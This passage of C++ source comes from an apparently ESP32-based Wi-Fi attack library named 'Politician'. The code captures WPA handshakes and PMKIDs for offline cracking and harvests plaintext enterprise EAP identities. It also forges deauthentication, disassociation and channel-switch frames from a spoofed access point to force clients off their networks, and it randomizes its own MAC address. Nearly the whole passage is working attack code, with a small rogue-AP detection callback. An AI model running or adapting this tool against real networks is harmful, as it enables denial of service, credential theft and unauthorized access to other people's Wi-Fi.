1356 memcpy(rec.anonce, sess->anonce, 32); memcpy(rec.snonce, sess->snonce, 32);
1357 memcpy(rec.mic, sess->mic, 16); memcpy(rec.eapol_m2, sess->eapol_buffer + sess->m2_off, sess->m2_len);
1358 rec.eapol_m2_len = sess->m2_len; rec.has_anonce = true; rec.has_snonce = true; rec.has_mic = true;
1359 rec.is_full = false; // Crackable pair but not a full 4-way sequence
1360
1361 _log("[EAPOL] Crackable pair (M1+M2) captured for %02X:%02X:%02X:%02X:%02X:%02X SSID=%s\n",
1362 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], sess->ssid);
1363
1364 _stats.captures++;
1365 memcpy(_lastCapBssid, bssid, 6); memcpy(_lastCapSta, sta, 6); _lastCapMs = now_cap;
1366 _markCaptured(bssid); _markCapturedSsidGroup(sess->ssid, sess->ssid_len);
1367 if (_eapolCb) _eapolCb(rec);
1368
1369 // Session remains ACTIVE to potentially catch M3 and M4
1370 } else if (is_new_m2 && _cfg.capture_half_handshakes) {
1371 // M2 seen without a prior M1 — fire half-handshake callback then pivot to active attack
1372 HandshakeRecord rec; memset(&rec, 0, sizeof(rec));
1373 rec.type = CAP_EAPOL_HALF;
1374 rec.channel = sess->channel; rec.rssi = sess->rssi;
1375 memcpy(rec.bssid, bssid, 6); memcpy(rec.sta, sta, 6); memcpy(rec.ssid, sess->ssid, 33);
1376 rec.ssid_len = sess->ssid_len; _lookupEnc(bssid, rec.enc);
1377 memcpy(rec.mic, sess->mic, 16); memcpy(rec.eapol_m2, sess->eapol_buffer + sess->m2_off, sess->m2_len);
1378 rec.eapol_m2_len = sess->m2_len; rec.has_mic = true;
1379 _log("[EAPOL] Half-handshake (M2-only) for %02X:%02X:%02X:%02X:%02X:%02X SSID=%s — pivoting\n",
1380 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], sess->ssid);
1381 if (_eapolCb) _eapolCb(rec);
1382
1383 // Pivot to active attack to collect a complete handshake.
1384 // PMKID-only pivot is skipped: any M1 returned would be for our spoofed MAC,
1385 // not the real client's MAC in this session — the M2 can never be matched.
1386 // CSA/Deauth is required to force the real client to reconnect and produce M1.
1387 if (_fishState == FISH_IDLE) {
1388 if (!(_attackMask & (ATTACK_CSA | ATTACK_DEAUTH))) {
1389 _log("[EAPOL] Half-handshake pivot skipped — CSA/Deauth required to complete capture\n");
1390 } else if (_attackMask & (ATTACK_CSA | ATTACK_DEAUTH)) {
1391 memcpy(_fishBssid, bssid, 6);
1392 memcpy(_fishSsid, sess->ssid, sess->ssid_len); _fishSsid[sess->ssid_len] = '\0';
1393 _fishSsidLen = sess->ssid_len; _fishChannel = sess->channel; _fishStartMs = millis();
1394 memcpy(_fishSta, sta, 6); // STA is known from the M2
1395 _fishState = FISH_CSA_WAIT; _csaSecondBurstSent = false;
1396 _csaFallbackMs = 0;
1397 if (_attackMask & ATTACK_CSA) _sendCsaBurst();
1398 if (_disconnectStrategy == STRATEGY_SIMULTANEOUS) {
1399 if (_attackMask & ATTACK_DEAUTH) _sendDeauthBurst((_attackMask & ATTACK_CSA) ? _cfg.csa_deauth_count : _cfg.deauth_burst_count, sta);
1400 } else if (_disconnectStrategy == STRATEGY_AUTO_FALLBACK) {
1401 if ((_attackMask & ATTACK_CSA) && (_attackMask & ATTACK_DEAUTH)) {
1402 // Trigger fallback Deauth *before* the second CSA burst (which happens at 2000ms)
1403 _csaFallbackMs = millis() + 1000;
1404 } else if (_attackMask & ATTACK_DEAUTH) {
1405 _sendDeauthBurst(_cfg.deauth_burst_count, sta);
1406 }
1407 }
1408 _probeLocked = true; _probeLockEndMs = millis() + _cfg.csa_wait_ms;
1409 }
1410 }
1411 }
1412 }
1413 return true;
1414}
1415
1416void Politician::_parseEapIdentity(const uint8_t *bssid, const uint8_t *sta,
1417 const uint8_t *eapol, uint16_t len, int8_t rssi) {
1418 // EAP Header starts at eapol+4. Minimum needed: Code(1), Id(1), Len(2), Type(1)
1419 if (len < 9) return;
1420
1421 // EAP Code Check (We want 2 = Response)
1422 if (eapol[4] != 0x02) return;
1423
1424 // EAP Type Check (We want 1 = Identity)
1425 if (eapol[8] != 0x01) return;
1426
1427 uint16_t eap_len = ((uint16_t)eapol[6] << 8) | eapol[7];
1428 if (eap_len < 5) return;
1429
1430 // The plaintext Identity string is defined as everything after the Type byte.
1431 uint16_t id_len = eap_len - 5;
1432
1433 // Safety boundary check
1434 if (9 + id_len > len) return;
1435
1436 EapIdentityRecord rec;
1437 memset(&rec, 0, sizeof(rec));
1438 memcpy(rec.bssid, bssid, 6);
1439 memcpy(rec.client, sta, 6);
1440 rec.channel = _rxChannel;
1441 rec.rssi = rssi;
1442
1443 uint16_t copy_len = (id_len < 64) ? id_len : 64;
1444 memcpy(rec.identity, eapol + 9, copy_len);
1445 rec.identity[copy_len] = '\0';
1446
1447 _log("[Enterprise] Harvested Identity '%s' from %02X:%02X:%02X:%02X:%02X:%02X\n",
1448 rec.identity, sta[0], sta[1], sta[2], sta[3], sta[4], sta[5]);
1449
1450 if (_identityCb) _identityCb(rec);
1451}
1452
1453void Politician::_parseSsid(const uint8_t *ie, uint16_t ie_len, char *out, uint8_t &out_len) {
1454 out[0] = '\0'; out_len = 0; uint16_t pos = 0;
1455 while (pos + 2 <= ie_len) {
1456 uint8_t tag = ie[pos]; uint8_t len = ie[pos + 1];
1457 if (pos + 2 + len > ie_len) break;
1458 if (tag == 0 && len > 0 && len <= 32) {
1459 memcpy(out, ie + pos + 2, len); out[len] = '\0'; out_len = len; return;
1460 }
1461 pos += 2 + len;
1462 }
1463}
1464
1465uint8_t Politician::_classifyEnc(const uint8_t *ie, uint16_t ie_len) {
1466 bool has_rsn = false, has_wpa = false, is_enterprise = false;
1467 uint16_t pos = 0;
1468 while (pos + 2 <= ie_len) {
1469 uint8_t tag = ie[pos]; uint8_t len = ie[pos + 1];
1470 if (pos + 2 + len > ie_len) break;
1471
1472 if (tag == 48) {
1473 has_rsn = true;
1474 // Parse robust security network AKM
1475 // Format: Version(2) + GroupCipher(4) + PairwiseCipherCount(2) + PairwiseCipherList(...) + AKMCount(2) + AKMList(...)
1476 if (len >= 18) { // Minimum length to reach AKM count assuming 1 pairwise cipher
1477 uint16_t pw_count = (ie[pos+8] | (ie[pos+9] << 8));
1478 uint16_t akm_offset = pos + 10 + (pw_count * 4);
1479
1480 if (akm_offset + 2 <= pos + 2 + len) {
1481 uint16_t akm_count = (ie[akm_offset] | (ie[akm_offset + 1] << 8));
1482 uint16_t list_offset = akm_offset + 2;
1483
1484 for (int i=0; i < akm_count; i++) {
1485 if (list_offset + 4 > pos + 2 + len) break;
1486 // OUI: 00-0F-AC, Suite Type: 1 (802.1X)
1487 if (ie[list_offset] == 0x00 && ie[list_offset+1] == 0x0F && ie[list_offset+2] == 0xAC && ie[list_offset+3] == 0x01) {
1488 is_enterprise = true;
1489 }
1490 list_offset += 4;
1491 }
1492 }
1493 }
1494 }
1495 if (tag == 221 && len >= 4 && ie[pos+2]==0x00 && ie[pos+3]==0x50 && ie[pos+4]==0xF2 && ie[pos+5]==0x01) has_wpa = true;
1496 pos += 2 + len;
1497 }
1498
1499 if (is_enterprise) return 4;
1500 return has_rsn ? 3 : (has_wpa ? 2 : 0);
1501}
1502
1503bool Politician::_detectWpa3Only(const uint8_t *ie, uint16_t ie_len) {
1504 uint16_t pos = 0;
1505 while (pos + 2 <= ie_len) {
1506 uint8_t tag = ie[pos];
1507 uint8_t len = ie[pos + 1];
1508 if (pos + 2 + len > ie_len) break;
1509
1510 if (tag == 48 && len >= 10) { // RSN IE
1511 uint16_t pw_count = ie[pos + 8] | (ie[pos + 9] << 8);
1512 uint16_t akm_offset = pos + 10 + (pw_count * 4);
1513 if (akm_offset + 2 > pos + 2 + len) { pos += 2 + len; continue; }
1514
1515 uint16_t akm_count = ie[akm_offset] | (ie[akm_offset + 1] << 8);
1516 uint16_t list_off = akm_offset + 2;
1517
1518 bool has_sae = false;
1519 bool has_wpa2psk = false;
1520 for (uint16_t i = 0; i < akm_count; i++) {
1521 if (list_off + 4 > pos + 2 + len) break;
1522 if (ie[list_off] == 0x00 && ie[list_off+1] == 0x0F && ie[list_off+2] == 0xAC) {
1523 if (ie[list_off+3] == 0x02) has_wpa2psk = true; // WPA2-PSK
1524 if (ie[list_off+3] == 0x08) has_sae = true; // SAE (WPA3)
1525 }
1526 list_off += 4;
1527 }
1528
1529 // MFPR = bit 6 of RSN Capabilities
1530 bool mfpr = false;
1531 if (list_off + 2 <= pos + 2 + len) {
1532 uint16_t caps = ie[list_off] | (ie[list_off + 1] << 8);
1533 mfpr = (caps & 0x0040) != 0;
1534 }
1535
1536 if ((has_sae && !has_wpa2psk) || mfpr) return true;
1537 }
1538 pos += 2 + len;
1539 }
1540 return false;
1541}
1542
1543bool Politician::_detectFt(const uint8_t *ie, uint16_t ie_len) {
1544 uint16_t pos = 0;
1545 while (pos + 2 <= ie_len) {
1546 uint8_t tag = ie[pos]; uint8_t len = ie[pos + 1];
1547 if (pos + 2 + len > ie_len) break;
1548 if (tag == 48 && len >= 10) { // RSN IE
1549 uint16_t pw_count = ie[pos + 8] | (ie[pos + 9] << 8);
1550 uint16_t akm_off = pos + 10 + (pw_count * 4);
1551 if (akm_off + 2 <= pos + 2 + len) {
1552 uint16_t akm_count = ie[akm_off] | (ie[akm_off + 1] << 8);
1553 uint16_t list_off = akm_off + 2;
1554 for (uint16_t i = 0; i < akm_count; i++) {
1555 if (list_off + 4 > pos + 2 + len) break;
1556 // OUI 00:0F:AC, suite type 3 = FT-EAP, type 4 = FT-PSK
1557 if (ie[list_off] == 0x00 && ie[list_off+1] == 0x0F && ie[list_off+2] == 0xAC &&
1558 (ie[list_off+3] == 0x03 || ie[list_off+3] == 0x04)) return true;
1559 list_off += 4;
1560 }
1561 }
1562 }
1563 pos += 2 + len;
1564 }
1565 return false;
1566}
1567
1568void Politician::_detectPmfFlags(const uint8_t *ie, uint16_t ie_len, bool &pmf_capable, bool &pmf_required) {
1569 pmf_capable = false; pmf_required = false;
1570 uint16_t pos = 0;
1571 while (pos + 2 <= ie_len) {
1572 uint8_t tag = ie[pos]; uint8_t len = ie[pos + 1];
1573 if (pos + 2 + len > ie_len) break;
1574 if (tag == 48 && len >= 10) { // RSN IE
1575 uint16_t pw_count = ie[pos + 8] | (ie[pos + 9] << 8);
1576 uint16_t akm_off = pos + 10 + (pw_count * 4);
1577 if (akm_off + 2 <= pos + 2 + len) {
1578 uint16_t akm_count = ie[akm_off] | (ie[akm_off + 1] << 8);
1579 uint16_t caps_off = akm_off + 2 + akm_count * 4;
1580 if (caps_off + 2 <= pos + 2 + len) {
1581 uint16_t caps = ie[caps_off] | (ie[caps_off + 1] << 8);
1582 pmf_capable = (caps & 0x0080) != 0; // MFPC
1583 pmf_required = (caps & 0x0040) != 0; // MFPR
1584 }
1585 }
1586 }
1587 pos += 2 + len;
1588 }
1589}
1590
1591Politician::Session* Politician::_findSession(const uint8_t *bssid, const uint8_t *sta) {
1592 for (int i = 0; i < MAX_SESSIONS; i++) {
1593 if (_sessions[i].flags.active && memcmp(_sessions[i].bssid, bssid, 6) == 0 && memcmp(_sessions[i].sta, sta, 6) == 0) return &_sessions[i];
1594 }
1595 return nullptr;
1596}
1597
1598Politician::Session* Politician::_createSession(const uint8_t *bssid, const uint8_t *sta) {
1599 for (int i = 0; i < MAX_SESSIONS; i++) {
1600 if (!_sessions[i].flags.active) {
1601 memset(&_sessions[i], 0, sizeof(Session));
1602 memcpy(_sessions[i].bssid, bssid, 6); memcpy(_sessions[i].sta, sta, 6);
1603 _sessions[i].flags.active = true; _sessions[i].created_ms = millis();
1604 _lookupSsid(bssid, _sessions[i].ssid, _sessions[i].ssid_len);
1605 return &_sessions[i];
1606 }
1607 }
1608 // Prefer evicting incomplete sessions (no M1 or M2) to avoid discarding crackable handshakes
1609 int oldest_idx = 0; uint32_t oldest_ms = UINT32_MAX;
1610 int incomplete_idx = -1; uint32_t incomplete_oldest = UINT32_MAX;
1611 for (int i = 0; i < MAX_SESSIONS; i++) {
1612 if (_sessions[i].created_ms < oldest_ms) { oldest_ms = _sessions[i].created_ms; oldest_idx = i; }
1613 if (!(_sessions[i].flags.has_m1 && _sessions[i].flags.has_m2) && _sessions[i].created_ms < incomplete_oldest) {
1614 incomplete_oldest = _sessions[i].created_ms; incomplete_idx = i;
1615 }
1616 }
1617 int evict = (incomplete_idx >= 0) ? incomplete_idx : oldest_idx;
1618 _log("[Session] Evicting session for %02X:%02X:%02X:%02X:%02X:%02X (has_m1=%d has_m2=%d) — session table full\n",
1619 _sessions[evict].bssid[0], _sessions[evict].bssid[1], _sessions[evict].bssid[2],
1620 _sessions[evict].bssid[3], _sessions[evict].bssid[4], _sessions[evict].bssid[5],
1621 _sessions[evict].flags.has_m1, _sessions[evict].flags.has_m2);
1622 memset(&_sessions[evict], 0, sizeof(Session));
1623 memcpy(_sessions[evict].bssid, bssid, 6); memcpy(_sessions[evict].sta, sta, 6);
1624 _sessions[evict].flags.active = true; _sessions[evict].created_ms = millis();
1625 _lookupSsid(bssid, _sessions[evict].ssid, _sessions[evict].ssid_len);
1626 return &_sessions[evict];
1627}
1628
1629Politician::ApCacheEntry* Politician::_cacheAp(const uint8_t *bssid, const char *ssid, uint8_t ssid_len,
1630 uint8_t enc, uint8_t channel, int8_t rssi,
1631 bool is_wpa3_only, bool wps,
1632 bool pmf_capable, bool pmf_required,
1633 bool ft_capable, uint16_t sta_count, uint8_t chan_util,
1634 uint8_t venue_group, uint8_t venue_type, uint8_t network_type) {
1635 if (ssid_len > 32) ssid_len = 32; // defensive clamp — _parseSsid already enforces this
1636 // enc_filter_mask: skip uncacheable encryption types (hidden APs bypass — SSID unknown yet)
1637 if (ssid_len > 0 && !(_cfg.enc_filter_mask & (1 << enc))) return nullptr;
1638
1639 // ssid_filter: skip APs that don't match the SSID filter (hidden APs bypass — SSID unknown yet)
1640 if (ssid_len > 0 && _cfg.ssid_filter[0] != '\0') {
1641 if (_cfg.ssid_filter_exact) {
1642 if (ssid_len != strlen(_cfg.ssid_filter) || memcmp(ssid, _cfg.ssid_filter, ssid_len) != 0) return nullptr;
1643 } else {
1644 if (strstr(ssid, _cfg.ssid_filter) == nullptr) return nullptr;
1645 }
1646 }
1647
1648 uint32_t now = millis();
1649 for (int i = 0; i < MAX_AP_CACHE; i++) {
1650 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
1651 memcpy(_apCache[i].ssid, ssid, ssid_len + 1); _apCache[i].ssid_len = ssid_len;
1652 _apCache[i].enc = enc; _apCache[i].channel = channel;
1653 _apCache[i].rssi = (int8_t)((_apCache[i].rssi * 4 + rssi) / 5);
1654 _apCache[i].flags.is_wpa3_only = is_wpa3_only;
1655 _apCache[i].flags.wps_enabled = wps;
1656 _apCache[i].flags.pmf_capable = pmf_capable;
1657 _apCache[i].flags.pmf_required = pmf_required;
1658 _apCache[i].flags.ft_capable = ft_capable;
1659 _apCache[i].last_seen_ms = now;
1660 _apCache[i].sta_count = sta_count;
1661 _apCache[i].chan_util = chan_util;
1662 _apCache[i].venue_group = venue_group;
1663 _apCache[i].venue_type = venue_type;
1664 _apCache[i].network_type = network_type;
1665 if (sta_count > 0) _apCache[i].flags.has_active_clients = true;
1666 if (ssid_len > 0) _apCache[i].flags.is_hidden = false;
1667 if (_apCache[i].beacon_count < 0xFFFF) _apCache[i].beacon_count++;
1668 return &_apCache[i];
1669 }
1670 }
1671
1672 int slot = -1;
1673 uint32_t oldest_ms = UINT32_MAX;
1674 for (int i = 0; i < MAX_AP_CACHE; i++) {
1675 if (!_apCache[i].flags.active) {
1676 slot = i;
1677 break;
1678 }
1679 if (_apCache[i].last_seen_ms < oldest_ms) {
1680 oldest_ms = _apCache[i].last_seen_ms;
1681 slot = i;
1682 }
1683 }
1684 if (slot == -1) slot = 0;
1685
1686 _apCache[slot].flags.active = true; _apCache[slot].last_probe_ms = 0;
1687 _apCache[slot].last_stimulate_ms = 0; _apCache[slot].first_seen_ms = now; _apCache[slot].last_seen_ms = now;
1688 _apCache[slot].last_hidden_probe_ms = 0;
1689 _apCache[slot].known_sta_count = 0;
1690 _apCache[slot].beacon_count = 1;
1691 _apCache[slot].total_attempts = 0;
1692 _apCache[slot].flags.is_hidden = (ssid_len == 0);
1693 _apCache[slot].flags.wps_enabled = wps;
1694 _apCache[slot].flags.pmf_capable = pmf_capable;
1695 _apCache[slot].flags.pmf_required = pmf_required;
1696 _apCache[slot].flags.ft_capable = ft_capable;
1697 _apCache[slot].sta_count = sta_count;
1698 _apCache[slot].chan_util = chan_util;
1699 _apCache[slot].venue_group = venue_group;
1700 _apCache[slot].venue_type = venue_type;
1701 _apCache[slot].network_type = network_type;
1702 _apCache[slot].flags.has_active_clients = (sta_count > 0);
1703 memcpy(_apCache[slot].bssid, bssid, 6); memcpy(_apCache[slot].ssid, ssid, ssid_len + 1);
1704 _apCache[slot].ssid_len = ssid_len; _apCache[slot].enc = enc; _apCache[slot].channel = channel;
1705 _apCache[slot].rssi = rssi; _apCache[slot].flags.is_wpa3_only = is_wpa3_only;
1706
1707 // Rogue AP detection: fire callback if another active AP shares the same SSID on the same channel
1708 if (_rogueApCb && ssid_len > 0) {
1709 for (int i = 0; i < MAX_AP_CACHE; i++) {
1710 if (i == slot || !_apCache[i].flags.active) continue;
1711 if (_apCache[i].channel != channel) continue;
1712 if (_apCache[i].ssid_len != ssid_len || memcmp(_apCache[i].ssid, ssid, ssid_len) != 0) continue;
1713 if (memcmp(_apCache[i].bssid, bssid, 6) == 0) continue;
1714 RogueApRecord rec;
1715 memset(&rec, 0, sizeof(rec));
1716 memcpy(rec.known_bssid, _apCache[i].bssid, 6);
1717 memcpy(rec.rogue_bssid, bssid, 6);
1718 memcpy(rec.ssid, ssid, ssid_len + 1);
1719 rec.ssid_len = ssid_len;
1720 rec.channel = channel;
1721 rec.rssi = rssi;
1722 _rogueApCb(rec);
1723 break;
1724 }
1725 }
1726 return &_apCache[slot];
1727}
1728
1729bool Politician::_lookupSsid(const uint8_t *bssid, char *out_ssid, uint8_t &out_len) {
1730 for (int i = 0; i < MAX_AP_CACHE; i++) {
1731 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
1732 memcpy(out_ssid, _apCache[i].ssid, _apCache[i].ssid_len + 1); out_len = _apCache[i].ssid_len; return true;
1733 }
1734 }
1735 out_ssid[0] = '\0'; out_len = 0; return false;
1736}
1737
1739 if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(50)) != pdTRUE) return 0;
1740 int n = 0;
1741 for (int i = 0; i < MAX_AP_CACHE; i++) if (_apCache[i].flags.active) n++;
1742 xSemaphoreGiveRecursive(_lock);
1743 return n;
1744}
1745
1746bool Politician::getAp(int idx, ApRecord &out) const {
1747 if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(50)) != pdTRUE) return false;
1748 int found = 0;
1749 bool ok = false;
1750 for (int i = 0; i < MAX_AP_CACHE; i++) {
1751 if (!_apCache[i].flags.active) continue;
1752 if (found == idx) {
1753 memcpy(out.bssid, _apCache[i].bssid, 6);
1754 memcpy(out.ssid, _apCache[i].ssid, 33);
1755 out.ssid_len = _apCache[i].ssid_len;
1756 out.enc = _apCache[i].enc;
1757 out.channel = _apCache[i].channel;
1758 out.rssi = _apCache[i].rssi;
1759 out.wps_enabled = _apCache[i].flags.wps_enabled;
1760 out.pmf_capable = _apCache[i].flags.pmf_capable;
1761 out.pmf_required = _apCache[i].flags.pmf_required;
1762 out.total_attempts = _apCache[i].total_attempts;
1763 out.captured = _isCaptured(_apCache[i].bssid);
1764 out.ft_capable = _apCache[i].flags.ft_capable;
1765 out.first_seen_ms = _apCache[i].first_seen_ms;
1766 out.last_seen_ms = _apCache[i].last_seen_ms;
1767 memcpy(out.country, _apCache[i].country, 3);
1768 out.beacon_interval = _apCache[i].beacon_interval;
1769 out.max_rate_mbps = _apCache[i].max_rate_mbps;
1770 out.is_hidden = _apCache[i].flags.is_hidden;
1771 out.sta_count = _apCache[i].sta_count;
1772 out.chan_util = _apCache[i].chan_util;
1773 out.venue_group = _apCache[i].venue_group;
1774 out.venue_type = _apCache[i].venue_type;
1775 out.network_type = _apCache[i].network_type;
1776 ok = true; break;
1777 }
1778 found++;
1779 }
1780 xSemaphoreGiveRecursive(_lock);
1781 return ok;
1782}
1783
1784bool Politician::getApByBssid(const uint8_t *bssid, ApRecord &out) const {
1785 if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(50)) != pdTRUE) return false;
1786 bool ok = false;
1787 for (int i = 0; i < MAX_AP_CACHE; i++) {
1788 if (!_apCache[i].flags.active || memcmp(_apCache[i].bssid, bssid, 6) != 0) continue;
1789 memcpy(out.bssid, _apCache[i].bssid, 6);
1790 memcpy(out.ssid, _apCache[i].ssid, 33);
1791 out.ssid_len = _apCache[i].ssid_len;
1792 out.enc = _apCache[i].enc;
1793 out.channel = _apCache[i].channel;
1794 out.rssi = _apCache[i].rssi;
1795 out.wps_enabled = _apCache[i].flags.wps_enabled;
1796 out.pmf_capable = _apCache[i].flags.pmf_capable;
1797 out.pmf_required = _apCache[i].flags.pmf_required;
1798 out.total_attempts = _apCache[i].total_attempts;
1799 out.captured = _isCaptured(_apCache[i].bssid);
1800 out.ft_capable = _apCache[i].flags.ft_capable;
1801 out.first_seen_ms = _apCache[i].first_seen_ms;
1802 out.last_seen_ms = _apCache[i].last_seen_ms;
1803 memcpy(out.country, _apCache[i].country, 3);
1804 out.beacon_interval = _apCache[i].beacon_interval;
1805 out.max_rate_mbps = _apCache[i].max_rate_mbps;
1806 out.is_hidden = _apCache[i].flags.is_hidden;
1807 out.sta_count = _apCache[i].sta_count;
1808 out.chan_util = _apCache[i].chan_util;
1809 out.venue_group = _apCache[i].venue_group;
1810 out.venue_type = _apCache[i].venue_type;
1811 out.network_type = _apCache[i].network_type;
1812 ok = true; break;
1813 }
1814 xSemaphoreGiveRecursive(_lock);
1815 return ok;
1816}
1817
1818int Politician::getClientCount(const uint8_t *bssid) const {
1819 if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(50)) != pdTRUE) return 0;
1820 int count = 0;
1821 for (int i = 0; i < MAX_AP_CACHE; i++) {
1822 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
1823 count = _apCache[i].known_sta_count; break;
1824 }
1825 }
1826 xSemaphoreGiveRecursive(_lock);
1827 return count;
1828}
1829
1830bool Politician::getClient(const uint8_t *bssid, int idx, uint8_t out_sta[6]) const {
1831 if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(50)) != pdTRUE) return false;
1832 bool ok = false;
1833 for (int i = 0; i < MAX_AP_CACHE; i++) {
1834 if (!_apCache[i].flags.active || memcmp(_apCache[i].bssid, bssid, 6) != 0) continue;
1835 if (idx >= 0 && idx < _apCache[i].known_sta_count) {
1836 memcpy(out_sta, _apCache[i].known_stas[idx], 6);
1837 ok = true;
1838 }
1839 break;
1840 }
1841 xSemaphoreGiveRecursive(_lock);
1842 return ok;
1843}
1844
1845bool Politician::_lookupEnc(const uint8_t *bssid, uint8_t &out_enc) {
1846 for (int i = 0; i < MAX_AP_CACHE; i++) {
1847 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
1848 out_enc = _apCache[i].enc; return true;
1849 }
1850 }
1851 out_enc = 0; return false;
1852}
1853
1854bool Politician::_isCaptured(const uint8_t *bssid) const {
1855 for (int i = 0; i < _ignoreCount; i++) if (memcmp(_ignoreList[i], bssid, 6) == 0) return true;
1856
1857 int left = 0, right = _capturedCount - 1;
1858 while (left <= right) {
1859 int mid = left + (right - left) / 2;
1860 int cmp = memcmp(_captured[mid], bssid, 6);
1861 if (cmp == 0) return true;
1862 if (cmp < 0) left = mid + 1;
1863 else right = mid - 1;
1864 }
1865 return false;
1866}
1867
1868void Politician::_sendDeauthBurst(uint8_t count, const uint8_t *sta) {
1869 static const uint8_t BROADCAST[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
1870 const uint8_t *da = (_cfg.unicast_deauth && sta != nullptr) ? sta : BROADCAST;
1871
1872 uint8_t deauth[26] = {
1873 0xC0, 0x00, 0x00, 0x00, // Frame Control (Deauth), Duration
1874 da[0], da[1], da[2], da[3], da[4], da[5], // DA
1875 _fishBssid[0], _fishBssid[1], _fishBssid[2], _fishBssid[3], _fishBssid[4], _fishBssid[5], // SA (Spoofed AP)
1876 _fishBssid[0], _fishBssid[1], _fishBssid[2], _fishBssid[3], _fishBssid[4], _fishBssid[5], // BSSID (Spoofed AP)
1877 0x00, 0x00, // Seq
1878 _cfg.deauth_reason, 0x00 // Reason code (default 7)
1879 };
1880
1881 static const uint8_t REASONS[] = { 7, 1, 2, 4, 8, 15 };
1882 uint8_t num_reasons = sizeof(REASONS);
1883
1884 for (int i = 0; i < count; i++) {
1885 deauth[0] = (i % 2 == 0) ? 0xC0 : 0xA0; // Alternate between Deauth (0xC0) and Disassoc (0xA0)
1886 deauth[22] = (i << 4) & 0xFF;
1887 if (_cfg.deauth_reason_cycling) {
1888 deauth[24] = REASONS[i % num_reasons];
1889 }
1890 esp_wifi_80211_tx(WIFI_IF_STA, deauth, sizeof(deauth), false);
1891 delay(2);
1892 }
1893 _log("[Deauth] Sent %s burst (Deauth/Disassoc) on ch%d (%s)\n", _cfg.deauth_reason_cycling ? "Fuzzing" : "Static", _fishChannel, (da[0] == 0xFF) ? "broadcast" : "unicast");
1894}
1895
1896void Politician::_markCapturedSsidGroup(const char *ssid, uint8_t ssid_len) {
1897 if (ssid_len == 0) return;
1898 for (int i = 0; i < MAX_AP_CACHE; i++) {
1899 if (!_apCache[i].flags.active || _apCache[i].ssid_len != ssid_len || memcmp(_apCache[i].ssid, ssid, ssid_len) != 0) continue;
1900 if (!_isCaptured(_apCache[i].bssid)) _markCaptured(_apCache[i].bssid);
1901 }
1902}
1903
1904void Politician::_markCaptured(const uint8_t *bssid) {
1905 if (_isCaptured(bssid)) return;
1906 if (_capturedCount >= MAX_CAPTURED) return; // list full — never overwrite existing entries
1907
1908 int pos = 0;
1909 while (pos < _capturedCount && memcmp(_captured[pos], bssid, 6) < 0) pos++;
1910
1911 if (pos < _capturedCount) {
1912 memmove(&_captured[pos + 1], &_captured[pos], (_capturedCount - pos) * 6);
1913 }
1914 memcpy(_captured[pos], bssid, 6);
1915 _capturedCount++;
1916
1917 _log("[Cap] Marked %02X:%02X:%02X:%02X:%02X:%02X\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
1918}
1919
1920void Politician::_expireSessions(uint32_t timeoutMs) {
1921 uint32_t now = millis();
1922 for (int i = 0; i < MAX_SESSIONS; i++) if (_sessions[i].flags.active && (now - _sessions[i].created_ms) > timeoutMs) _sessions[i].flags.active = false;
1923}
1924
1925const char* Politician::getVendor(const uint8_t *mac) {
1926#ifndef POLITICIAN_NO_DB
1927 int left = 0, right = fingerprint::_FP_OUI_DB_COUNT - 1;
1928 while (left <= right) {
1929 int mid = left + (right - left) / 2;
1930 int cmp = memcmp(fingerprint::_FP_OUI_DB[mid].oui, mac, 3);
1932 if (cmp < 0) left = mid + 1;
1933 else right = mid - 1;
1934 }
1935#endif
1936 return "";
1937}
1938
1939void Politician::_randomizeMac() {
1940 uint8_t mac[6]; uint32_t r1 = esp_random(), r2 = esp_random();
1941 mac[0] = (uint8_t)((r1 & 0xFE) | 0x02); mac[1] = (uint8_t)(r1 >> 8); mac[2] = (uint8_t)(r1 >> 16);
1942 mac[3] = (uint8_t)(r2); mac[4] = (uint8_t)(r2 >> 8); mac[5] = (uint8_t)(r2 >> 16);
1943 esp_wifi_set_mac(WIFI_IF_STA, mac); memcpy(_ownStaMac, mac, 6);
1944 _log("[Fish] MAC → %02X:%02X:%02X:%02X:%02X:%02X\n", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
1945}
1946
1947void Politician::_startFishing(const uint8_t *bssid, const char *ssid, uint8_t ssid_len, uint8_t channel) {
1948 if (_fishState != FISH_IDLE) return;
1949 for (int i = 0; i < MAX_AP_CACHE; i++) {
1950 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, bssid, 6) == 0 && _apCache[i].flags.ft_capable)
1951 _log("[Fish] Note: AP advertises FT AKM — PMKID may be FT-derived and require FT-aware cracking\n");
1952 }
1953 _randomizeMac(); esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE); _channel = channel;
1954 wifi_config_t sta_cfg = {}; memcpy(sta_cfg.sta.ssid, ssid, ssid_len);
1955 memcpy(sta_cfg.sta.password, "WiFighter00", 11); sta_cfg.sta.bssid_set = true; memcpy(sta_cfg.sta.bssid, bssid, 6);
1956 esp_wifi_set_config(WIFI_IF_STA, &sta_cfg); esp_wifi_connect();
1957 memcpy(_fishBssid, bssid, 6); memcpy(_fishSsid, ssid, ssid_len); _fishSsid[ssid_len] = '\0';
1958 _fishSsidLen = ssid_len; _fishChannel = channel; _fishStartMs = millis();
1959 _fishState = FISH_CONNECTING; _fishRetry = 0; _fishAuthLogged = false; _fishAssocLogged = false;
1960 _probeLocked = true; _probeLockEndMs = millis() + _cfg.fish_timeout_ms;
1961 _log("[Fish] → %02X:%02X:%02X:%02X:%02X:%02X SSID=%.*s\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], ssid_len, ssid);
1962}
1963
1964void Politician::_sendCsaBurst() {
1965 uint8_t frame[100]; int p = 0;
1966 frame[p++] = 0x80; frame[p++] = 0x00; frame[p++] = 0x00; frame[p++] = 0x00;
